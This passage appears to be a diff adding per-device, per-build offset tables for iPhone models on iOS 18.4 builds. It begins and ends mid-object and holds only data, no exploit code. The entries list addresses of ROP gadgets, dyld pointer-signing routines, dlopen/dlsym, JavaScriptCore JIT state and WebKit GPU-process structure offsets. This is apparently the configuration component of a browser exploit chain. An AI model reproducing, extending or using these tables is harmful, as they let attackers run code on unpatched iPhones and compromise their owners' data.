"iPhone15,5_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,5_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,1_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,1_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + 